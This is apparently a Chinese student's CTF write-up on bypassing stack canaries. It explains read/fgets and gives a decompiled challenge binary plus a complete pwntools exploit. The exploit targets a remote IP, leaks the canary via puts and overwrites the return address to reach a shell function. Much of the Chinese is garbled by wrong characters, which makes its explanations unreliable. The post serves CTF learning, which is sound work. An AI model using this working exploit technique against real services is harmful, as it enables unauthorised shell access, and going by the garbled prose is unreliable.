呜啦啦,这次是 canary,预料得进度比拟快
理解了一些 函数 的应用原理,来这里写一下
read()
extern ssize_t read (int __fd, void *__buf, size_t __nbytes);
1. 参数一为被读取的文件对应的文件描述符,第二个参数为缓存区,第三个参数为读取的字节数
2. 性能:读取 fd 对应的文件,并将读取的数据保留到 buf, 以 nbytes 为读取单位
3. 返回值:返回读取的字节数,- 1 示意读取失败,0 示意读取完结
其中,fd 是依据调用关上函数获取的文件描述符。此参数是一个可为 0、1 或 2 整数值,其值别离代表了规范输出、规范输入和规范谬误。
sendafter(“”,payload),
因为校赛学到的一个函数,在于准确地填充栈,“”内是承受的具体内容,再也不必 recvuntil 了。
char fgets (char str, int num, FILE * stream );
fgets 函数性能为从指定的流中读取每次读取一行。从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者达到文件开端时,它会进行
先来说一下 爱护机制 吧
canary 栈爱护
为了避免歹意的泄露,gcc 采纳了一种爱护机制叫 canary,通过在返回地址和原 bp 地址后面插入了一段长为 8 的随机字符。并且在 data 段有一份正本,函数返回前将随机字符的地位和正本比拟,看是否有歹意攻打
留神有 0 截断,不然无奈读出。
以上
放一道 题
`
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+Ch] [rbp-24h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
setbuf(stdin, 0LL);
signal(14, sig_handler);
alarm(5u);
puts("Welcome to your first canary test!");
puts("length?");
__isoc99_scanf("%d", &v4);
if (v4 < 0 || v4 > 32)
{puts("TOO LONG!");
exit(-1);
}
puts("what?");
read(0, &buf, v4);
puts(&buf);
puts("OK!");
read(0, &buf, 0x30uLL);
return 0;
}
`
WA
from pwn import*
p=remote('121.196.34.30',10000)##ip, 加端口
p.sendlineafter('length?\n','32')
payload='a'*24
## 利用 ida 查看地位要减 8,因为有 canary
p.sendlineafter('what?\n',payload)
## 因为有 0 截断,所以多发一个
p.recvuntil('a'*24+'\n')
canary='\x00'+p.recv(7)
shell_addr=p64(0x400885)
## 用 ida 或者间接函数寻找
payload='a'*24+canary+p64(0)+shell_addr
p.sendlineafter('OK!\n',payload)
p.interactive()
绕开的要害是,有俩次从输出流读取的机会,第一次是失去 canary,第二次才是绕过,还有 put 函数。(比方文中的俩次 read)。
其余危险函数
(小声 bb 我的英语好烂 如果您可怜看到了这篇文章,有任何疑难欢送提出一起交换,不要骂我,我只是个会写点页面的渣渣)